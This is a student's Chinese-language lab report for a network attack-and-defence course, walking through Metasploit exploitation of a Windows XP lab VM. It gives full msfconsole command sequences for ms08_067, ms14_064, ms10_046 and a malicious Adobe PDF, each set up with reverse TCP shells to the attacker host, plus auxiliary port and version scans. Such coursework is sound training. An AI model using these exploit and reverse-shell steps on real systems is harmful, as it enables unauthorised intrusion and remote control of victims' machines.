2019-2020-2 20175335丹增罗布 《网络对抗技术》Exp6 MSF基础应用
目录:
2019-2020-2 20175335《网络对抗技术》Exp6 MSF基础应用
- 实践内容
- 一个主动攻击实践
- ms08_067
- 一个针对浏览器的攻击
- ms14_064
- ms10_046
- 一个针对客户端的攻击
- Adobe
- 成功应用任何一个辅助模块
- cert辅助模块(唯一)
- TCP"XMas"端口扫描(唯一)
- 一个主动攻击实践
- 实验总结
- 实验问题回答
- 实践体会
原理与实践说明
实践原理
1、 MSF主要模块:指Metasploit框架中所使用的一段软件代码组件
- 查看六种模块源码目录
/usr/share/metasploit-framework/modules
- 渗透攻击模块(Exploit Modules)
- 攻击漏洞,把shellcode"背"过去
- 针对每一个漏洞,写一段攻击代码
- 辅助模块(Auxiliary Modules)
- 在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
- 攻击载荷(Payload Modules)
- 载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块(Payload Modules)
- 编码模块(Payload Modules)
- 后渗透攻击模块(Payload Modules)
2、 用户操作界面
- msfconsole
- 开发部署成本低、兼容性高、方便自动化
- 指令需要记
- armitage
- 点选模块 不用记忆
- 使用不灵活
- webgui
- 跨平台 高效 功能强大
3、 MSF常用漏洞指令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
基础问题回答
Q:用自己的话解释什么是exploit,payload,encode.
- exploit是工具,用来连接漏洞,将payload传送到靶机中
- payload是载荷,是目标系统在被exploit传送之后,去执行的攻击代码
- encode是编码,用来包装payload,不让杀软轻易发现payload就是攻击代码。
Q:离实战还缺些什么技术或步骤?
- 现在做的实验大多都是针对已经淘汰掉的系统进行的攻击,这些系统的版本已经很久没有更新过了,对他们进行攻击会相对容易一些,还有就是咱们既然可以学习这些攻击技术,那些做软件做系统的也能学到,他们已经对自己的软件和系统做了很多的测试,要想真正的去攻击真的挺难的。
实验内容
任务一:主动攻击实践
如ms08_067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
-
实现:ms08_067
-
攻击机:Kali 172.16.135.149
-
靶机:Windows xp 172.16.135.161
-
payload :
generic/shell_reverse_tcp
-
测试靶机与攻击机之间能否ping通
win xp ping:
kali ping:
- 攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.16.135.161
- 查看到靶机存在此漏洞
- 启动
msfconsole
,然后输入search ms08_067
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/smb/ms08_067_netapi
,如下图所示:
- 输入指令
use exploit/windows/smb/ms08_067_netapi
进入攻击模块,使用show payloads
,查看能够使用的payloads
- 使用指令
set payload generic/shell_reverse_tcp
设置payload
为反向tcp连接,使用show options
查看可以设置的参数
- 设置参数:
set RHOST 172.16.135.161 //设置靶机IP set LPORT 5335 //设置攻击机端口 set LHOST 172.16.135.149//设置攻击机IP exploit
- 回连成功之后输入
ipconfig
查看信息!
攻击成功!
- 输入
net user
查看Win目前的用户名。
一个针对浏览器的攻击
ms14_064
-
启动
msfconsole
,然后输入search ms14_064
查找该漏洞使用的攻击模块,攻击模块为windows/browser/ms14_064_ole_code_execution
,如下图所示:
- 使用
use windows/browser/ms14_064_ole_code_execution
设置模块,使用set payload windows/meterpreter/reverse_tcp
设置payload,使用指令show options
查看要设置的参数
- 设置参数:
set LHOST 172.16.135.149 set LPORT 5335 set URIPATH 5335dzlb//设置url域名 exploit
- 在Windows Xp浏览器输入
http://172.16.135.149:8080/5335dzlb
- 用指令
sessions
查看会话信息。
- 通过输入
sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址,使用dir
查看文件目录。
ms10_046
-
启动
msfconsole
,然后输入searchms10_046
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/browser/ms10_046_shortcut_icon_dllloader
,如下图所示:
- 使用
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
设置模块,使用set payload windows/meterpreter/reverse_tcp
设置payload,使用指令show options
查看要设置的参数。
- 设置参数:
1 set SRVHOST 172.16.135.149 2 set LHOST 172.16.135.149 3 exploit
- 在windows XP的浏览器中访问刚刚设置的服务器IP
http://172.16.135.149
弹出如下窗口。
- 同时攻击者会开始监听并与靶机建立连接。
- 输入
sessions
查看有多少主机被反向链接到攻击者和靶机对应的序号。 - 输入
sessions -i 1
控制靶机(-i后面的数即为靶机对应的序号),并输入ipconfig
查看主机IP地址。
一个针对客户端的攻击
Adobe
- 启动
msfconsole
,然后输入search adobe
查找该漏洞使用的攻击模块,攻击模块为exploit/windows/fileformat/adobe_toolbutton
,如下图所示:
- 使用
use exploit/windows/fileformat/adobe_toolbutton
设置模块,使用set payload windows/meterpreter/reverse_tcp
设置payload,使用指令show options
查看要设置的参数。
- 设置参数:
1 set RHOST 172.16.135.161 //设置靶机IP 2 set LPORT 5335 //设置攻击机端口 3 set LHOST 172.16.135.149 //设置攻击机IP 4 exploit
- 在linux中另外打开一个终端,
msfconsole
进入控制台 - 输入
use exploit/multi/handler
使用监听模块,设置payload
- 使用和生成后门程序时相同的payload:
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.135.149
- 端口号也相同:
set LPORT 5335
- 设置完成后,
exploit
开始监听
- 靶机中打开msf.pdf文件,靶机上钩,攻击成功。
- kali中发现回连成功。
- 输入
ipconfig
成功应用任何一个辅助模块
cert辅助模块(唯一)
-
cert
的扫描仪模块是一个有用的管理扫描仪,可以覆盖一个子网来检查服务器证书是否过期 -
输入
search cert
首先查看辅助模块cert
辅助模块的信息
- 设置参数
use auxiliary/scanner/telnet/telnet_version set RHOSTS 172.16.135.149/24 set THREADS 50 run
TCP"XMas"端口扫描(唯一)
- 该模块的主要作用是判断端口是开放还是关闭,结果表示端口是开放或者被过滤(屏蔽)的.
- 输入
search xmas
首先查看xmas
辅助模块的信息
- 设置参数:
use auxiliary/scanner/portscan/xmas set RHOST 172.16.135.149 set ports 5335 run
实验中遇到的问题:
问题1:出现“ Kali linux-Exploit failed [unreachable]:Rex::ConnectionTimeout Could not determine the exact service pack ”等等问题?!
解决办法:(1)靶机windows xp sp3要装英文版。(2)靶机的防火墙一定要关闭。(3)使用ping命令测试两台主机是否可以互联 再次exploit,发现成功!(https://blog.csdn.net/qq_41363459/article/details/105621436)
问题2:
解决办法:权限问题! + sudo msfconsole!
实践体会:
本次实验操作起来较为容易,,因为metasploit攻击漏洞的专一性,所以我在寻找主机上遇到了很多困难。必须要在特定环境和特定触发条件下才能成功。在亲身进行了各个漏洞利用的实践后也更明白了修复漏洞的重要性,需要不断维护系统,保证其处于一个较为安全的环境,通过查阅资料也锻炼了我的自学能力和了解到很多大佬的超级操作!实时羡慕! 也收获到不少知识!